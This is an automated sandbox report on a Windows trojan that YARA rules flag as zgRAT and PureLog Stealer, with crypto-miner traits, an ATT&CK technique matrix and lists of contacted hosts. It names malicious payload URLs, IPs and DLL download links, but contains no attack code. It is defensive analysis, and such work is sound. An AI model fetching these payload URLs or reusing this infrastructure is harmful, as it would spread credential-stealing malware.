Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Browser Extensions	411 Process Injection	2 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	11 Scheduled Task/Job	12 Software Packing	Security Account Manager	134 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	411 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
zlONcFaXkc.exe	100%	Avira	HEUR/AGEN.1313071
zlONcFaXkc.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://unitedstates1.ss.wd.microsoft.us/	0%	URL Reputation	safe
https://xmrig.com/wizard	0%	URL Reputation	safe
https://excel.new?from=EdgeM365Shoreline	0%	URL Reputation	safe
https://bzib.nelreports.net/api/report?cat=bingbusiness	0%	URL Reputation	safe
https://xmrig.com/benchmark/%s	0%	URL Reputation	safe
https://word.new?from=EdgeM365Shoreline	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://xot.traxa41.net/ext/analytic?do=init&from=Chrome3	0%	Avira URL Cloud	safe
https://sb.scorecardresearch.com/b2?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/report?cat=msnw	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/report	0%	Avira URL Cloud	safe
http://185.196.10.233/dll/ghghghgfg.xml	100%	Avira URL Cloud	malware
http://schemas.microsof.com	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingcsp	0%	Avira URL Cloud	safe
http://www.gzip.org/zlib/rfc-gzip.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
gjhfhgdg.insane.wang	185.196.10.233	true	true	unknown
addons.i7con.net	23.106.238.238	true	false	unknown
plus.l.google.com	142.250.105.139	true	false	high
www.google.com	172.253.124.104	true	false	high
starsmm.org	179.43.170.230	true	true	unknown
googlehosted.l.googleusercontent.com	172.253.124.132	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	true	unknown
xot.traxa41.net	unknown	unknown	true	unknown
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://assets.msn.com/bundles/v1/edgeChromium/latest/common-segments.11aff16404408a58d3d2.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/mobile-app-upsell.b15413e73bafe92e0855.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/cs-core-desktop_card-components_dist_card-banner_index_js-cs-core-desktop_card-components_dis-cef191.888669d9cc0659b01a27.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/super-nav.65258d4f38c7e7963827.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/pill-wc.87e5c35451d51ad2c9c1.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.ad1f555a047bcac24a4a.js	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerBI_24x.svg	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/waterfall-view-feed.da1860afbfeb79eba90c.js	false		high
https://assets.msn.com/service/v1/news/users/me/locations?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Teams_24x.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/superBreakingNews.b103d390df46602376d8.js	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Sway_24x.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.3220005356a33ce0ca94.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.119ca1abd9fdaf26e071.js	false		high
https://assets.msn.com/staticsb/statics/latest/common/icons/ZoomWhite.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/RewardsCoachmarkData.c462c3980af18bc60b9d.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.d4705abeab944b647de2.js	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Yammer_24x.svg	false		high
https://sb.scorecardresearch.com/b2?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/SunnyDayV3.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_core_dist_interaction-tracker_MouseTracker_js-libs_weather-shared-wc_dist_utilities_entr-072035.11606a415b7b5f44447f.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-placement-manager.5ea7db000698f8928d23.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_channel-page-utils_dist_UrlUtilities_js-libs_feed-layout_dist_Utils_js-libs_river-data-t-5c6710.8c7d0e28efea755d336f.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/conditionalBannerWC.6d8019b2ba4ee047b8c5.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.2a930d83a1ebb2ea4b2d.js	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	URL Reputation: safe	unknown
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneNote_24x.svg	false		high
https://assets.msn.com/staticsb/statics/latest/marketmismatch/bannerDisplayString/en-gb.json	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v3v4.5873ec4aa566b5d8efc3.js	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906147886&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&MUID=09C025F5A71D6FE2180F319FA60A6E8D	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.6cd4b923cfe7c0d8b058.js	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/ToDo_24x.svg	false		high
https://c.msn.com/c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_js.6985524dca6d732452d7.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common-feed-libs.1f70b20165d70f57b9b6.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/MarketMismatchCoachMark.e6fcf9edbaadfb663ccb.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/digest-card.7224d7f5906215f25e3c.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/channel-data-connector.02a4c4f575b24365379f.js	false		high
http://185.196.10.233/dll/ghghghgfg.xml	true	Avira URL Cloud: malware	unknown
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Visio_24x.svg	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/scrollPerfMetricTrackers.9abeb397be7183994289.js	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Word_24x.svg	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://xot.traxa41.net/ext/analytic?do=init&from=Chrome3	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false	URL Reputation: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json.10.dr	false		high
https://www.youtube.com	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000007.00000003.1738844921.000001CC7771A000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false	Avira URL Cloud: safe	unknown
https://www.instagram.com	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	zlONcFaXkc.exe, 00000000.00000002.1666984608.000001DFA9865000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB58B000.00000004.00000800.00020000.00000000.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB6C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	false		high
https://i.y.qq.com/n2/m/index.html	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://www.deezer.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://web.telegram.org/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://stackoverflow.com/q/14436606/23354	zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/service/news/feed/pages/weblayout	4cb013792b196a35_1.10.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.4113686005.000001CC77400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://xmrig.com/wizard	Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json.10.dr	false		high
https://plus.google.com	chromecache_520.13.dr	false		high
https://chromewebstore.google.com/	manifest.json0.10.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.10.dr	false		high
https://xmrig.com/benchmark/%s	Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore/	manifest.json0.10.dr	false		high
https://bard.google.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
http://www.gzip.org/zlib/rfc-gzip.html	zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB6DA000.00000004.00000800.00020000.00000000.sdmp, 2cc80dabc69f58b6_0.10.dr, background.js.2.dr	false	Avira URL Cloud: safe	unknown
https://www.office.com	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://tidal.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://ntp.msn.com	4cb013792b196a35_0.10.dr	false		high
https://gaana.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://stackoverflow.com/q/11564914/23354;	zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://files.catbox.moe/k541xr.dllJ	Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://apis.google.com	chromecache_514.13.dr, chromecache_520.13.dr	false		high
https://domains.google.com/suggest/flow	chromecache_520.13.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://word.new?from=EdgeM365Shoreline	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false	URL Reputation: safe	unknown
http://schemas.microsof.com	Target.exe, 00000001.00000002.4268426290.000001D0B4081000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json.10.dr	false		high
https://github.com/mgravell/protobuf-net	zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://open.spotify.com	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://twitter.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high
https://files.catbox.moe/kwfxr7.dll	Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.vk.com/	097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.6.117.16	unknown	United States	20940	AKAMAI-ASN1EU	false
23.11.231.177	unknown	United States	20940	AKAMAI-ASN1EU	false
172.253.124.104	www.google.com	United States	15169	GOOGLEUS	false
131.253.33.200	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
104.208.16.92	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.159.108.190	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.213.41	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.196.10.233	gjhfhgdg.insane.wang	Switzerland	42624	SIMPLECARRIERCH	true
179.43.170.230	starsmm.org	Panama	51852	PLI-ASCH	true
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.253.124.132	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.0.175.178	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.0.175.195	unknown	United States	20940	AKAMAI-ASN1EU	false
23.106.238.238	addons.i7con.net	United Kingdom	7203	LEASEWEB-USA-SFO-12US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.11.231.163	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.163.101.92	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.16
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430590
Start date and time:	2024-04-23 23:01:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	zlONcFaXkc.exe renamed because original name is a hash value
Original Sample Name:	1c762a2cd186f1cde4b9e5d743eca3b5.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@103/309@24/25
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 142.250.105.102, 142.250.105.138, 142.250.105.100, 142.250.105.101, 142.250.105.113, 142.250.105.139, 13.107.6.158, 20.25.227.174, 13.107.21.200, 204.79.197.200, 96.7.224.48, 96.7.224.57, 199.232.210.172, 23.216.73.151, 192.229.211.108, 64.233.185.94, 64.233.185.100, 64.233.185.138, 64.233.185.139, 64.233.185.101, 64.233.185.102, 64.233.185.113, 108.177.122.84, 34.104.35.123, 142.250.105.94, 20.189.173.22, 172.253.124.95, 74.125.136.95, 173.194.219.95, 172.217.215.95, 142.251.15.95, 74.125.138.95, 64.233.185.95, 142.250.9.95, 108.177.122.95, 64.233.176.95, 64.233.177.95, 142.250.105.95, 20.42.65.92, 23.6.117.32, 23.6.117.19, 13.89.179.12, 142.250.9.139, 142.250.9.138, 142.250.9.100, 142.250.9.101, 142.250.9.102, 142.250.9.113, 20.189.173.20, 23.49.5.31, 23.49.5.26, 72.21.81.200, 52.182.143.212, 52.168.117.173, 74.125.136.94, 142.250.9.94, 173.194.219.94
